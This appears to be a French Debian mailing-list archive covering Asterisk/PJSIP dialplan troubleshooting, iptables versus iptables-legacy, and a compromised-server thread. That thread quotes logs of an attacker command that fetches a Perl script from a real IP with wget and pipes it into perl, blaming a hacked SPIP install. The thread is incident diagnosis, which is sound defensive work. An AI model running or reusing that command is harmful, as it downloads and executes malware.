Tous les postes sont sur le LAN. Le WAN est en fait un MPLS (redondance
fibre/4G d'un /29).
>>
>> [internal]
>> exten => 6001,1,Dial(PJSIP/6001)
>> exten => 6002,1,Dial(PJSIP/6002)
>> exten => _0.,1,Dial(PJSIP/${EXTEN:1}@SBSR)
>
> Ne connaissant pas la config de SBSR.
>
> Modifie ta ligne en _0X de manière à ne pas envoyer tout ce qui
> commence par 0 plus un caractère minimum à ton opérateur, il risque de
> ne pas aimer ;)
[internal]
exten => 6001,1,Dial(PJSIP/6001)
exten => 6002,1,Dial(PJSIP/6002)
exten => _00[1-7],1,Dial(PJSIP/${EXTEN:1}@SBSR)
>> [sbsr]
>> exten => +33,1,Dial(PJSIP/6001)
>> exten => +33,1,Dial(PJSIP/6002)
> Es tu sûr que ton opérateur envoi le numéro préfixé +33 ?
Oui, j'en suis sûr, je le vois passer dans les logs.
Re: Configuration asterisk
NoSpam a écrit :
> Fallait dire de suite que c'était pour un SPA ! C'est plus délicat mais
> cela fonctionne
>
> 1. d'ou sort le E accolé au 6001 ?
De nulle part, c'était un test pour ne pas avoir un identifiant
totalement numérique.
Je m'occuperai de cela lorsque j'aurai compris les plans de
numérotation. Pour l'instant, les appels passent d'un poste à l'autre en
interne, mais :
- tous les appels sortants échouent lamentablement ;
- les appels entrants font bien sonner le bon téléphone, mais seule la
voie sortante fonctionne. Il n'y a aucun paquet RTP qui provient de
l'extérieur...
[internal]
exten => 6001,1,Dial(PJSIP/6001)
exten => 6002,1,Dial(PJSIP/6002)
exten => _0.,1,Dial(PJSIP/${EXTEN:1}@SBSR)
[sbsr]
exten => +33,1,Dial(PJSIP/6001)
exten => +33,1,Dial(PJSIP/6002)
L'idée est de pouvoir sortir en faisant 0+numéro de téléphone.
Naturellement, la registration est bonne :
rayleigh*CLI> pjsip show registrations
==
SBSR/sip:37.97.65.186:5070 SBSR_auth
Registered(exp. 52s)
Objects found: 1
Bien cordialement,
JB
Re: Configuration asterisk
NoSpam a écrit : > sip:6001E@192.168.1.1 > > https://www.asterisk.org/identifying-endpoint-pjsip/ Rien n'y fait. Si je colle 6001 dans le SPA112, j'ai bien une trame qui demande une authentification du login sip:6001E@192.168.1.1. Mais que je colle username=6001E, 6001E@192.168.1.1 ou sip:6001E@192.168.1.1, ça termine par une erreur d'authentification. JB
Re: Configuration asterisk
NoSpam a écrit : > Remplace user=6002 par username=SDA112net2501 Dès que je mets autre chose qu'une suite de chiffres, je reçois ceci comme erreur : [Jul 2 15:52:30] NOTICE[9876]: res_pjsip/pjsip_distributor.c:676 log_failed_request: Request 'REGISTER' from '"BERTRAND Jo�l" ' failed for '192.168.10.253:5060' (callid: 96a66e5d-8db7dc63@192.168.10.253) - Failed to authenticate [Jul 2 15:52:30] NOTICE[9876]: res_pjsip/pjsip_distributor.c:676 log_failed_request: Request 'REGISTER' from '"BERTRAND Jo�l" ' failed for '192.168.10.253:5060' (callid: 96a66e5d-8db7dc63@192.168.10.253) - No matching endpoint found JB
Re: Configuration asterisk
NoSpam a écrit : > Bonjour. Bonjour, > chan_sip est deprecated depuis longtemps et sera retiré avant la fin de > l'année. pjsip est son successeur, évolution obligatoire. > > J'ose espérer que tes ports 506/5061 UDP & TCP ne sont pas ouverts sur > Internet, avec ta configuration tu cours au massacre du porte monnaie si > ton trunk sortant est payant. Non, tout est fermé de ce côté (firewall + asterisk qui n'écoute que côté LAN). > Ce qu'il ne faut pas faire c'est donner des extensions numériques -à > cause des attaques brutes comme dit ci dessus- il faut faire dans sip.conf > > [userEnAlphaAvecDeLaCasseEtDuNumerique] > > definition du user et dans extensions.conf > > exten => 6001,1,Dial(SIP/userEnAlphaAvecDeLaCasseEtDuNumerique) > > Aussi ne PAS mélanger les appels entrants et sortants toujours à cause > des attaques. Fail2ban est ton ami pour se protéger Certes et puisqu'on en parle ;-) J'ai quelques problèmes d'incompréhension avec pjsip.conf. Considérons le fichier suivant : [6001](SDA112) auth=6001 aors=6001 [6001](auth_userpass) username=6001 password= [6001](aor_dynamic) [SDA112net2501](SDA112) auth=SDA112net2501 aors=SDA112net2501 [SDA112net2501](auth_userpass) username=6002 password= [SDA112net2501](aor_dynamic) Le téléphone 6001 arrive à s'authentifier. Pas SDA112net2501. Si je remplace SDA112net2501 par 6002, ça fonctionne. Dans l'autre sens, si j'écris : [SDA112net2531](SDA112) auth=6001 aors=6001 [6001](auth_userpass) username=6001 password= [6001](aor_dynamic) c'est le poste 6001 qui ne s'authentifie plus. Bien cordialement, JB
Re: Configuration asterisk
Bon, j'ai réussi à régler le coup des appels entrants. Le '.' et le '!'
ne peuvent pas être utilisés n'importe où et les regex sont un peu
tatillonnes.
Reste le problème des appels sortants :
[User-standard]
exten => 6001,1,Dial(SIP/6001)
exten => 6002,1,Dial(SIP/6002)
exten => _0.,1,Dial(SIP/${EXTEN:1})
retourne :
[Jul 1 12:00:13] WARNING[12569][C-0001] chan_sip.c: Purely numeric
hostname (0x), and not a peer--rejecting!
[Jul 1 12:00:13] NOTICE[12569][C-0001] app_dial.c: Unable to create
channel of type 'SIP' (cause 20 - Subscriber absent)
JKB
Configuration asterisk
Bonjour à tous,
Je tente la configuration d'un serveur asterisk et je me noie un peu
dans la configuration.
Ce que j'ai fait jusqu'à présent :
- installation d'un serveur asterisk (20.3.0~dfsg+~cs6.13.40431413-1) ;
- configuration du fichier users.conf pour rajouter tous mes téléphones
IP. Tous les téléphones sont connectés au serveur asterisk et tous
peuvent s'appeler entre eux.
Dans extensions.conf, j'ai simplement configuré :
[general]
static=yes
writeprotect=no
autofallthrough=yes
clearglobalvars=yes
priorityjumping=no
[globals]
dial_opts=g
my_dial_status=answer
timeout=45
[User-standard]
exten => 6001,1,Dial(SIP/6001)
exten => 6002,1,Dial(SIP/6002)
...
Je tente maintenant de connecter ce serveur asterisk à mon trunk SIP.
J'ai donc configuré dans sip.conf le compte correspondant au trunk SIP :
[general]
context=public
allowoverlap=no
udpbindaddr=192.168.1.1:5060
tcpenable=no
tcpbindaddr=0.0.0.0
transport=udp
srvlookup=yes
language=fr
register =>
localnet=192.168.0.0/255.255.0.0
directmedia=update,nonat
nat=force_rport,comedia
qualify=yes
externrefresh=15
directmediapermit=192.168.0.0/255.255.0.0
externaddr=
externtlsport=5060
Asterisk est content puisqu'il m'indique :
rayleigh*CLI> sip show registry
Hostdnsmgr Username Refresh
StateReg.Time
:5070 N trunk-sip@sy 105 Registered
Sat, 01 Jul 2023 11:05:42
1 SIP registrations.
Maintenant, je cherche à pouvoir appeler le monde extérieur et à être
appelé et je sèche. Les appels sont bien routés vers mon serveur
asterisk puisque dans les logs, lorsque j'essaie de m'appeler, je vois
ceci :
[Jul 1 11:00:47] NOTICE[8977][C-0001] chan_sip.c: Call from ''
(37.97.65.186:5070) to extension '+33x' rejected because
extension not found in context 'public'.
Or j'ai rajouté dans le fichier extensions.conf :
exten => ,1,Dial(SIP/6001)
soit à la suite de [User-standard], soit dans un contexte [oublic]. Rien
n'y fait.
J'ai aussi essayé d'appeler l'extérieur avec une règle du type exten =>
_0.,1,Dial(SIP/${EXTEN:1}), même motif, même punition mais avec un autre
message d'erreur :
[Jul 1 11:13:10] WARNING[9644][C-0002] chan_sip.c: Purely numeric
hostname (0x), and not a peer--rejecting!
La question est donc relativement simple. Comment faire une
configuration simpliste d'asterisk pour le connecter au monde extérieur
? Je me perds dans la documentation (officielle ou non).
Merci de vos lumières,
JKB
Re: iptables vs iptables-legacy
Michel Verdier a écrit : > Et d'ailleurs pourquoi mixer les outils ? Pourquoi ? Mais parce que fail2ban dans sa configuration par défaut s'est mis à utiliser nftables alors qu'il est tout à fait possible d'utiliser un firewall iptables (xtables) par ailleurs. J'ai d'ailleurs modifié ces scripts pour remplacer iptables par iptables-legacy parce qu'un temps, Debian ne fournissait pas un iptables capable de travailler sur les nftables. Je suis un peu flemmard sur les bords. Lorsque j'ai un serveur connecté à plusieurs réseaux et des VPN avec un firewall de plusieurs centaines de lignes qui est éprouvé, je ne m'amuse pas à le changer pour le fun et la beauté du geste. Par ailleurs, la syntaxe iptables fonctionne toujours pour les nftables (raison pour laquelle on se retrouve avec iptables-legacy et iptables). Il n'y a donc aucune raison valable à ce que les deux mécanismes cohabitent. À l'extrême limite, ce genre de chose est une bidouille interne au noyau et cela devrait être transparent du point de vue de l'utilisateur. JB
Re: iptables vs iptables-legacy
NoSpam a écrit : > Bonsoir > > https://developers.redhat.com/blog/2020/08/18/iptables-the-two-variants-and-their-relationship-with-nftables#using_iptables_nft Merci. Mais ça ne répond pas trop à ma question sauf s'il faut comprendre entre les lignes que les paquets passent d'abord par les xtables avant de passer par les nftables.
iptables vs iptables-legacy
Bonsoir à tous, J'ai toujours écrit mes firewalls à la main. Aujourd'hui, un script charge au démarrage le contenu de /var/lib/iptables/active au travers de iptables (nf_tables). Or iptables-legacy est toujours disponible. J'avoue avoir un peu de mal à comprendre le lien entre les deux filtres. Root rayleigh:[~] > iptables-legacy -L Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Root rayleigh:[~] > Root rayleigh:[~] > iptables -L # Warning: iptables-legacy tables present, use iptables-legacy to see them Chain INPUT (policy DROP) target prot opt source destination f2b-recidive tcp -- anywhere anywhere ACCEPT all -- anywhere anywhere ACCEPT all -- anywhere anywhere ACCEPT tcp -- anywhere anywhere tcp dpt:ssh ACCEPT tcp -- anywhere anywhere tcp dpt:smtp ... Chain f2b-recidive (1 references) target prot opt source destination REJECT all -- subnet.crackbox.io anywhere reject-with icmp-port-unreachable REJECT all -- 193.56.29.178anywhere reject-with icmp-port-unreachable REJECT all -- 147.78.103.120 anywhere reject-with icmp-port-unreachable RETURN all -- anywhere anywhere Root rayleigh:[~] > D'après iptables-legacy, tout est ouvert. D'après iptables, tout est fermé sauf ce qui est explicitement ouvert. La question est simple. Si je change la règle par défaut iptables-legacy -DINPUT DROP, plus rien ne fonctionne. Les deux systèmes sont-ils en série ? Un paquet traverse-t-il d'abord un système de filtre puis l'autre en séquence ? Je n'ai pas trouvé l'information (je dois chercher au mauvais endroit)... Bien cordialement, JB
Re: Machine vérolée
BERTRAND Joël a écrit : > BERTRAND Joël a écrit : >> OK, je l'ai. >> >> 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd >> /dev/shm;wget -O - http://68.235.39.225/sepax|perl >> 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd >> /dev/shm;wget -O - http://68.235.39.225/sepax|perl >> >> J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais >> toujours pas qui le lance, mais on progresse. > > Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP > antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se > font fait percer. Mais pas de la même manière. Le premier avait des > fichiers .php étranges dans sa racine : spip__.php et des choses comme > response.php. Le second avait un spip_loader.php qui embarquait un binaire. > Et j'aurais dû regarder de près les listes de diffusion de SPIP. Ça couine très fort depuis quelques semaines sur le sujet. Comme quoi, certains devraient plutôt s'attacher à la qualité du code qu'au côté politique d'un projet...
Re: Machine vérolée
BERTRAND Joël a écrit : > OK, je l'ai. > > 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > > J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais > toujours pas qui le lance, mais on progresse. Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se font fait percer. Mais pas de la même manière. Le premier avait des fichiers .php étranges dans sa racine : spip__.php et des choses comme response.php. Le second avait un spip_loader.php qui embarquait un binaire.
Re: Machine vérolée
OK, je l'ai. 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd /dev/shm;wget -O - http://68.235.39.225/sepax|perl 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd /dev/shm;wget -O - http://68.235.39.225/sepax|perl J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais toujours pas qui le lance, mais on progresse.
Re: Machine vérolée
Michel Verdier a écrit : > Le 25 juin 2023 BERTRAND Joël a écrit : > >> Petite remarque : j'ai modifié allow_url_fopen de on à off dans le >> fichier de configuration de php 8.2 (je ne vois pas pourquoi c'est 'on' >> par défaut). /tmp est maintenant en noexec. > > Attention de mémoire il y a plusieurs php.ini utilisés selon le mode > d'appel Merci, je sais. Et je vérifie toujours avec un php_info(). JB
